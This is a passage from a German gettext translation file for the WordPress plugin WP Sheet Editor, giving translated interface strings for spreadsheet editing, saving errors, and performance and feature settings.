                  " #: wp-sheet-editor/dev/inc/api/editor.php:55 msgid "The selected product does not have variations" msgstr "Das ausgewählte Produkt hat keine Varianten" #: wp-sheet-editor/dev/inc/api/editor.php:56 msgid "empty" msgstr "leer" #: wp-sheet-editor/dev/inc/api/editor.php:57 msgid "This will save you {clicks_count} clicks :)" msgstr "Dies erspart dir {clicks_count} Klicks :)" #: wp-sheet-editor/dev/inc/api/editor.php:58 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Wir haben ähnliche Spalten gefunden. Willst du dieselbe Aktion auf sie " "anwenden? {columns}" #: wp-sheet-editor/dev/inc/api/editor.php:59 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Diese Spalte ist nur für Varianten relevant, übergeordnete Produkte " "verwenden dieses Feld nicht" #: wp-sheet-editor/dev/inc/api/editor.php:60 msgid "Editing the field: {field_label}" msgstr "Bearbeiten des Feldes {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:61 msgid "Column not found. Try with another search criteria." msgstr "Spalte nicht gefunden. Versuch es mit anderen Suchkriterien." #: wp-sheet-editor/dev/inc/api/editor.php:62 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Diese Spalte ist nur für übergeordnete Produkte, Varianten verwenden dieses " "Feld nicht" #: wp-sheet-editor/dev/inc/api/editor.php:63 msgid "Paste using keyboard: Ctrl+V" msgstr "Einfügen über die Tastatur: Strg+V" #: wp-sheet-editor/dev/inc/api/editor.php:64 msgid "Realign cells" msgstr "Zellen neu ausrichten" #: wp-sheet-editor/dev/inc/api/editor.php:65 msgid "Remove all filters" msgstr "Alle Filter entfernen" #: wp-sheet-editor/dev/inc/api/editor.php:66 msgid "Resize columns based on the values" msgstr "Spaltengröße ändern basierend auf den Werten" #: wp-sheet-editor/dev/inc/api/editor.php:67 msgid "Delete row" msgstr "Zeile löschen" #: wp-sheet-editor/dev/inc/api/editor.php:68 msgid "" "We will delete the selected row(s) from the database completely. If you want " "to restore them later, you should make a backup before. Do you want to " "delete them?" msgstr "" "Wir werden die ausgewählte(n) Zeile(n) vollständig aus der Datenbank " "löschen. Wenn du sie später wiederherstellen möchtest, solltest du vorher " "eine Sicherung machen. Willst du sie löschen?" #: wp-sheet-editor/dev/inc/api/editor.php:69 msgid "Duplicate row" msgstr "Zeile duplizieren" #: wp-sheet-editor/dev/inc/api/editor.php:70 msgid "Hide column" msgstr "Spalte ausblenden" #: wp-sheet-editor/dev/inc/api/editor.php:71 msgid "Bulk edit column" msgstr "Spalte insgesamt bearbeiten" #: wp-sheet-editor/dev/inc/api/editor.php:73 msgid "Copy variations from this product" msgstr "Varianten dieses Produkts kopieren" #: wp-sheet-editor/dev/inc/api/editor.php:75 msgid "Delete field" msgstr "Feld löschen" #: wp-sheet-editor/dev/inc/api/editor.php:76 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Wir werden dieses Metafeld aus der Datenbank löschen, und du verlierst in " "allen Zeilen die in diesem Feld gespeicherten Werte. Du solltest ein Backup " "erstellen, um in Zukunft eine Wiederherstellung durchführen zu können. " "Willst du mit dem Löschen fortfahren?" #: wp-sheet-editor/dev/inc/api/editor.php:77 msgid "Edit meta key" msgstr "Meta-Schlüssel bearbeiten" #: wp-sheet-editor/dev/inc/api/editor.php:78 msgid "Error: The new value is empty or is equal to the old value" msgstr "Fehler: Der neue Wert ist leer oder gleich dem alten Wert" #: wp-sheet-editor/dev/inc/api/editor.php:79 msgid "Showing rows from your last session." msgstr "Zeilen aus Ihrer letzten Sitzung werden angezeigt." #: wp-sheet-editor/dev/inc/api/editor.php:80 msgid "Export column" msgstr "Spalte exportieren" #: wp-sheet-editor/dev/inc/api/editor.php:81 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  Die Massenbearbeitung wurde nicht vollständig abgewickelt. Der Vorgang " "wurde aufgrund eines Fehlers abgebrochen.

                  Du kannst dieses Fenster " "schließen.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:82 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  Der Prozess wurde nicht abgeschlossen. Der Prozess wurde aufgrund eines " "Fehlers abgebrochen.

                  Du kannst dieses Fenster schließen.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:83 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "Dein Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Willst du " "es erneut versuchen?" #: wp-sheet-editor/dev/inc/api/editor.php:84 msgid "The bulk edit was executed successfully. You can close this window" msgstr "" "Die Massenbearbeitung wurde erfolgreich ausgeführt. Du kannst dieses Fenster " "schließen" #: wp-sheet-editor/dev/inc/api/editor.php:86 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "SPALTEN AKTIVIEREN. Diese Spalten erfordern ein Neuladen der Seite: " "{columns}. Möchtest du jetzt neu laden? Wir werden automatisch neu laden" #: wp-sheet-editor/dev/inc/api/editor.php:87 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Spalte entfernt. Geh zu \"Einstellungen > Spalten ein-/ausblenden\", um sie " "wieder zu aktivieren" #: wp-sheet-editor/dev/inc/api/editor.php:88 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Du hast Beiträge geändert. Bitte speichere die Änderungen, denn wir werden " "das Arbeitsblatt aktualisieren." #: wp-sheet-editor/dev/inc/api/editor.php:89 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Du hast Zeilen geändert. Bitte speichere die Änderungen, bevor du Spalten " "aus dem Arbeitsblatt entfernst." #: wp-sheet-editor/dev/inc/api/editor.php:90 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Du hast Beiträge geändert. Bitte speichere die Änderungen, denn wir werden " "das Arbeitsblatt aktualisieren. Möchtest du jetzt aktualisieren?" #: wp-sheet-editor/dev/inc/api/editor.php:91 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Einige Zeilen wurden im Hintergrund modifiziert. Bitte speichere die " "Änderungen und lade das Arbeitsblatt neu, um die Änderungen zu sehen" #: wp-sheet-editor/dev/inc/api/editor.php:92 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Einige Zeilen wurden im Arbeitsblatt geändert. Bitte speichere die " "Änderungen, bevor du diese Funktion verwendest." #: wp-sheet-editor/dev/inc/api/editor.php:93 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "Wir haben keine zu aktualisierenden Zeilen aus der Suchanfrage gefunden. " "Bitte versuche eine andere Suche." #: wp-sheet-editor/dev/inc/api/editor.php:94 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Hier findest du alle Einstellungen, wie z.B. die Sichtbarkeit der Spalten, " "usw." #: wp-sheet-editor/dev/inc/api/editor.php:95 msgid "Oops, nothing found" msgstr "Hoppla, nichts gefunden" #: wp-sheet-editor/dev/inc/api/editor.php:96 msgid "You can create new items here" msgstr "Du kannst hier neue Elemente erstellen" #: wp-sheet-editor/dev/inc/api/editor.php:97 msgid "Upload image" msgstr "Bild hochladen" #: wp-sheet-editor/dev/inc/api/editor.php:98 msgid "View Gallery" msgstr "Galerie anzeigen" #: wp-sheet-editor/dev/inc/api/editor.php:99 msgid "No options available" msgstr "Keine Optionen verfügbar" #: wp-sheet-editor/dev/inc/api/editor.php:100 #: wp-sheet-editor/dev/inc/api/helpers.php:1032 msgid "Items loaded in the spreadsheet" msgstr "Im Arbeitsblatt geladene Elemente" #: wp-sheet-editor/dev/inc/api/editor.php:101 msgid "New rows added" msgstr "Neue Zeilen hinzugefügt" #: wp-sheet-editor/dev/inc/api/editor.php:102 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "Die Massenbearbeitung wurde ausgeführt. Möchtest du die Seite neu laden, um " "die Änderungen zu sehen?" #: wp-sheet-editor/dev/inc/api/editor.php:103 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Die Änderungen wurden nicht vollständig gespeichert. Der Vorgang wurde " "aufgrund eines Fehlers abgebrochen.

                  Du kannst dieses Popup schließen." #: wp-sheet-editor/dev/inc/api/editor.php:104 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  Das automatische Speichern ist fehlgeschlagen. Deine Änderungen wurden " "aufgrund eines Fehlers nicht vollständig gespeichert. Du kannst es später " "erneut versuchen; wenn der Fehler weiterhin besteht, kontaktiere unser " "Support-Team und lass diese Registerkarte geöffnet

                  " #: wp-sheet-editor/dev/inc/api/editor.php:105 msgid "{updated} items saved of {total} items that need saving." msgstr "" "{updated} gespeicherte Elemente von {total} Elementen, die gespeichert " "werden müssen." #: wp-sheet-editor/dev/inc/api/editor.php:106 msgid "{deleted} duplicates have been removed." msgstr "{deleted} Duplikate wurden entfernt." #: wp-sheet-editor/dev/inc/api/editor.php:107 msgid "All items have been saved." msgstr "Alle Elemente wurden gespeichert." #: wp-sheet-editor/dev/inc/api/editor.php:108 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Bitte überprüfe, ob du ungespeicherte Änderungen hast. Wenn ja, speichere " "sie bitte, sonst werden sie verworfen." #: wp-sheet-editor/dev/inc/api/editor.php:109 msgid "Everything is already saved." msgstr "Alles ist bereits gespeichert." #: wp-sheet-editor/dev/inc/api/editor.php:110 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "Der Server hat unsere Anfrage nicht angenommen. Schlechte Anfrage, bitte " "versuch, die Seite zu aktualisieren und versuch es erneut." #: wp-sheet-editor/dev/inc/api/editor.php:111 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "Der Server hat unsere Anfrage nicht angenommen. Du hast keine Erlaubnis, " "diese Aktion durchzuführen. Bitte logge dich erneut ein." #: wp-sheet-editor/dev/inc/api/editor.php:112 msgid "The server is not available or overloaded. Please try again later." msgstr "" "Der Server ist nicht verfügbar oder überlastet. Bitte versuch es später noch " "einmal." #: wp-sheet-editor/dev/inc/api/editor.php:113 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "Der Server ist nicht verfügbar oder überlastet. Willst du es erneut " "versuchen?" #: wp-sheet-editor/dev/inc/api/editor.php:114 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "Die automatische Speicherung ist fehlgeschlagen: Der Server ist nicht " "verfügbar oder überlastet. Willst du es erneut versuchen?" #: wp-sheet-editor/dev/inc/api/editor.php:115 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "Der Server war nicht in der Lage, unsere Anfrage zu bearbeiten. Server-" "Fehler. Bitte versuch es später noch einmal." #: wp-sheet-editor/dev/inc/api/editor.php:116 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "Der Server hat die ihm zugewiesenen Ressourcen überschritten und ist nicht " "in der Lage, unsere Anfrage zu bearbeiten." #: wp-sheet-editor/dev/inc/api/editor.php:117 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "Der Server ist ausgelastet und hat zu lange gebraucht, um auf unsere Anfrage " "zu antworten. Bitte versuch es später noch einmal." #: wp-sheet-editor/dev/inc/api/editor.php:118 msgid "The server could not process our request. Please try again later." msgstr "" "Der Server konnte unsere Anfrage nicht bearbeiten. Bitte versuch es später " "noch einmal." #: wp-sheet-editor/dev/inc/api/editor.php:236 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Du kannst diese Hilfemitteilungen in den erweiterten Einstellungen " "entfernen)" #: wp-sheet-editor/dev/inc/api/editor.php:269 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:270 msgid "Enable" msgstr "Aktivieren" #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "

                  Missing column?

                  " msgstr "" "

                  Fehlende Spalte?

                  " #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "Verdienen wir eine 5-Sterne-Bewertung? Ja, ihr habt sie " "verdient. - . Nein" #: wp-sheet-editor/dev/inc/api/helpers.php:363 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Pro-Erweiterung)" #: wp-sheet-editor/dev/inc/api/helpers.php:367 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Kostenlose Erweiterung installieren)" #: wp-sheet-editor/dev/inc/api/helpers.php:464 msgid "The item could not be saved. Please try again in other moment." msgstr "" "Das Element konnte nicht gespeichert werden. Bitte versuch es später noch " "einmal." #: wp-sheet-editor/dev/inc/api/helpers.php:774 msgid "User not allowed to edit rows" msgstr "Benutzer darf keine Zeilen bearbeiten" #: wp-sheet-editor/dev/inc/api/helpers.php:1005 msgid "No more posts available." msgstr "Keine Beiträge mehr verfügbar." #: wp-sheet-editor/dev/inc/api/helpers.php:1007 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "Es wurden keine Beiträge gefunden, die deinen Suchparametern entsprechen. Du " "kannst die aktiven Filter entfernen oder eine andere Suche ausprobieren." #: wp-sheet-editor/dev/inc/api/helpers.php:1009 msgid "No posts available for the current page." msgstr "Keine Beiträge für die aktuelle Seite verfügbar." #: wp-sheet-editor/dev/inc/api/logger.php:64 msgid "The log file does not exist." msgstr "Die Logdatei ist nicht vorhanden." #: wp-sheet-editor/dev/inc/integrations/elementor.php:37 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "Live" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Geschwindigkeit und Leistung" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "" "Zeilen schneller laden: Anzahl der je Verarbeitungszyklus zu ladenden Zeilen" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Wir verwenden die Seitennummerierung, um weniger Server-Ressourcen zu " "nutzen. Wir laden am Anfang 20 Zeilen, und jedes Mal, wenn du nach unten " "scrollst, laden wir 20 weitere. Du kannst diese Zahl erhöhen, um mehr Zeilen " "je Seite zu laden. SORGFALT: Das Laden von mehr als 200 Zeilen pro Seite " "könnte deinen Server überlasten. Wenn wir feststellen, dass der Server " "überlastet ist, setzen wir automatisch auf 10 Zeilen pro Seite zurück." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "" "Zeilen schneller exportieren: Anzahl der zu exportierenden Zeilen je " "Verarbeitungszyklus" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Hier kannst du die Größe eines Verarbeitungszyklus für die Exporte steuern. " "Wenn du eine hohe Anzahl verwendest, werden die Exporte schneller " "abgeschlossen. Du kannst eine hohe Anzahl sicher verwenden, weil wir " "automatisch auf eine niedrigere Anzahl zurückgreifen, wenn der Server " "während eines Exports überlastet ist. Exportiere zum Beispiel 100 Zeilen je " "Zyklus und schließ die Exporte superschnell ab, und wenn wir bei einem " "Export eine Langsamkeit feststellen, starten wir den Export automatisch mit " "10 Zeilen je Zyklus neu" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "" "Änderungen schneller speichern: Anzahl der zu speichernden Zeilen je " "Verarbeitungszyklus" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Wenn du eine große Anzahl von Beiträgen im Tabelleneditor bearbeitest, " "können wir nicht alle Änderungen auf einmal speichern, also machen wir es in " "Stapeln. Der empfohlene Wert ist 4 , was bedeutet, dass wir nur 4 Beiträge " "auf einmal bearbeiten werden. Du kannst ihn so anpassen, wie es für dich am " "besten funktioniert. Wenn du beim Speichern Fehler erhältst, solltest du die " "Zahl verringern" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "" "Beiträge schneller löschen: Anzahl der zu löschenden Beiträge je Zyklus" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Beim Löschen von Beiträgen, Seiten, Events, Produkten, Bestellungen, " "Gutscheinen und anderen Beitragstypen kannst du auswählen, wie viele je " "Verarbeitungszyklus gelöscht werden sollen. Verwende eine höhere Anzahl, um " "schneller fertig zu werden. Der Standardwert ist 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Produktivität steigern" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "Seitennummerierung im Arbeitsblatt verwenden?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Standardmäßig verwenden wir eine unendliche Liste von Zeilen und wir laden " "jedes Mal mehr Zeilen, wenn du nach unten scrollst. Du kannst diese Option " "aktivieren, um Links zur Seitennummerierung anzuzeigen, und die unbegrenzte " "Liste zu deaktivieren." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "Automatisches Laden von Zeilen deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Wenn du das Arbeitsblatt öffnest, laden wir die Zeilen automatisch, so dass " "du sofort mit der Bearbeitung beginnen kannst. Aktiviere diese Option, wenn " "du Zeilen suchen und manuell laden möchtest." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "Vollbildmodus deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Wenn das Blatt geladen wird, öffnen wir es im Vollbildmodus, und du hast die " "Möglichkeit, den Vollbildmodus zu verlassen. Aktiviere diese Option, und wir " "werden das Blatt nicht im Vollbildmodus öffnen." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "Weitere Elemente beim Scrollen laden?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Wenn dies aktiviert ist, werden weitere Elemente am unteren Rand des " "Arbeitsblatts geladen, wenn du das Ende der Seite erreichst. Du kannst dies " "auch im Arbeitsblatt aktivieren / deaktivieren." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "Die ersten Spalten auf der linken Seite einfrieren?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Gib eine Zahl ein, und diese Spalten werden beim horizontalen Scrollen " "eingefroren. Du kannst mit der rechten Maustaste auf eine beliebige Spalte " "klicken, um sie einzufrieren oder freizugeben. Gib zum Beispiel 2 ein, um " "die ersten beiden Spalten einzufrieren" #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "Automatisches Speichern aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Wenn du dies einschaltest, speichert das Arbeitsblatt alle 2 Minuten " "automatisch alle an den Zellen vorgenommenen Änderungen. Vorsicht: Dies kann " "zu Problemen führen, wenn die Änderungen vorzeitig gespeichert werden, bevor " "du die Bearbeitung aller erforderlichen Spalten abgeschlossen hast." #: wp-sheet-editor/dev/inc/options-init.php:107 msgid "Solution to weird errors" msgstr "Lösung für seltsame Fehler" #: wp-sheet-editor/dev/inc/options-init.php:113 msgid "Columns limit" msgstr "Begrenzung der Spalten" #: wp-sheet-editor/dev/inc/options-init.php:114 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Wir schränken die Spalten des Arbeitsblatts aus Leistungsgründen ein, um zu " "vermeiden, dass Tausende von Spalten im Arbeitsblatt geladen werden. Du " "kannst diese Begrenzung erhöhen, wenn du mehr Spalten anzeigen möchtest. " "Voreinstellung: 310" #: wp-sheet-editor/dev/inc/options-init.php:120 msgid "Separator for taxonomy terms cells" msgstr "Trennzeichen für Zellen mit Taxonomie-Begriffen" #: wp-sheet-editor/dev/inc/options-init.php:121 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Taxonomie-Spalten wie Kategorien oder Tags von Beiträgen usw. zeigen durch " "Komma getrennte Begriffe; wenn du in deinen Begriffsnamen Kommata benutzt, " "verwende diese Option, um das Trennzeichen zu ändern" #: wp-sheet-editor/dev/inc/options-init.php:128 msgid "How long do you want to wait between batches? (in seconds)" msgstr "" "Wie lange willst du zwischen den Verarbeitungszyklen warten? (in Sekunden)" #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Wenn du eine große Anzahl von Beiträgen im Tabelleneditor bearbeitest, " "können wir nicht alle Änderungen auf einmal speichern, also machen wir es in " "Stapeln. Aber dein Server kann nicht alle Stapel nacheinander bearbeiten, so " "dass wir nach jedem Verarbeitungszyklus einige Sekunden warten müssen, um " "deinem Server eine kleine Pause zu gönnen. Der empfohlene Wert ist 6 " "Sekunden; du kannst ihn so einstellen, wie es für dich am besten " "funktioniert. Wenn du beim Speichern Fehler erhältst, solltest du die Zahl " "erhöhen, um deinem Server nach jedem Zyklus eine längere Pause zu geben" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Disable post actions while saving?" msgstr "Beitragsaktionen beim Speichern deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Einige Plugins führen einen Auftrag aus, nachdem ein Beitrag erstellt oder " "aktualisiert wurde. Zum Beispiel gibt es Plugins, die deine neuen Beiträge " "in deinen sozialen Profilen teilen, andere Plugins benachrichtigen Benutzer, " "nachdem ein Beitrag aktualisiert wurde, usw. Es könnte ein Problem mit " "diesen Plugins geben. Wenn du zum Beispiel ein Plugin verwendest, das deine " "neuen Beiträge auf deinem Twitter-Konto teilt, und 100 Beiträge im " "Tabelleneditor aktualisiert werden, könntest du am Ende 100 Tweets in deinem " "Twitter-Konto teilen. Aktiviere also diese Option, wenn du Beiträge im " "Stillen aktualisieren / erstellen möchtest, ohne diese Funktionen " "auszuführen." #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Suspend object cache invalidation?" msgstr "Devalidierung von Cache-Objekten unterbrechen?" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deaktiviere dies, wenn du ein Objekt-/Datenbank-Cache-Plugin verwendest. " "Wenn du viele Beiträge bearbeitest, deaktivieren wir dies standardmäßig, um " "das Speichern schneller zu machen. WordPress versucht, den Cache zu " "\"bereinigen\", auch wenn du kein Cache-Plugin verwendest, was Hunderte von " "unnötigen Datenbankabfragen zur Folge hat." #: wp-sheet-editor/dev/inc/options-init.php:149 msgid "Disable the replacement of line breaks with p tags?" msgstr "Ersetzung von Zeilenumbrüchen durch p-Tags deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Wenn das Blatt geladen und der Beitragsinhalt gespeichert wird, lassen wir " "es über wpautop laufen, um Probleme mit Zeilenumbrüchen zu vermeiden. Du " "kannst dies deaktivieren, wenn du die p-Tags im Inhalt nicht sehen/speichern " "möchtest." #: wp-sheet-editor/dev/inc/options-init.php:156 msgid "Deactivate the data prefetch" msgstr "Daten-Prefetch deaktivieren" #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Wenn du das Arbeitsblatt lädst, erhalten wir alle Spalten auf einmal aus der " "Datenbank, um es schneller zu machen, dies wird Prefetch genannt. Dies kann " "zu Problemen führen, wenn du Tausende von Spalten oder seltene Datenbank-" "Setups hast." #: wp-sheet-editor/dev/inc/options-init.php:163 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Metaschlüssel, die den Handler für unbegrenzte serialisierte Felder " "verwenden sollen" #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Dies ist nur für fortgeschrittene Benutzer oder wenn unser Support-Team dich " "bittet, diese Option zu verwenden. Wir haben 2 Möglichkeiten, mit " "serialisierten Feldern umzugehen: den alten Handler (standardmäßig " "verwendet, mit Einschränkungen) und den unbegrenzten Serialisierungs-Handler " "(besser, aber standardmäßig nicht aktiv, um frühere Integrationen nicht zu " "brechen). Verwende diese Option, wenn du serialisierte Felder hast, die " "falsch speichern oder nicht im Arbeitsblatt erscheinen." #: wp-sheet-editor/dev/inc/options-init.php:169 msgid "Blacklist these columns" msgstr "Diese Spalten auf die schwarze Liste setzen" #: wp-sheet-editor/dev/inc/options-init.php:170 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Gib die Liste der Feldschlüssel durch Kommata getrennt ein, du kannst den " "vollständigen Metafeldschlüssel oder Teile von Schlüsselwörtern oder Präfixe " "eingeben. Dies ist nützlich, weil einige Plugins der Datenbank Tausende von " "unnötigen Feldern hinzufügen und das Arbeitsblatt überladen" #: wp-sheet-editor/dev/inc/options-init.php:175 msgid "Enable the utf8 encoding fix" msgstr "UTF8-Kodierungs-Bugfix aktivieren" #: wp-sheet-editor/dev/inc/options-init.php:176 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Dies kann hilfreich sein, wenn das Arbeitsblatt nicht oder leer geladen wird." #: wp-sheet-editor/dev/inc/options-init.php:183 msgid "Customize features" msgstr "Funktionen anpassen" #: wp-sheet-editor/dev/inc/options-init.php:188 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "Option zur Einschränkung der Arbeitsblattansichten je Benutzer aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:189 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Wenn du diese Option aktivierst, fügen wir den Benutzerprofilen Felder " "hinzu, in denen du angeben kannst, welche Ansichten des Arbeitsblattes sie " "verwenden können; ist diese Option deaktiviert, können sie alle " "Arbeitsblattansichten verwenden." #: wp-sheet-editor/dev/inc/options-init.php:195 msgid "Enable simple mode?" msgstr "Einfachen Modus aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:196 msgid 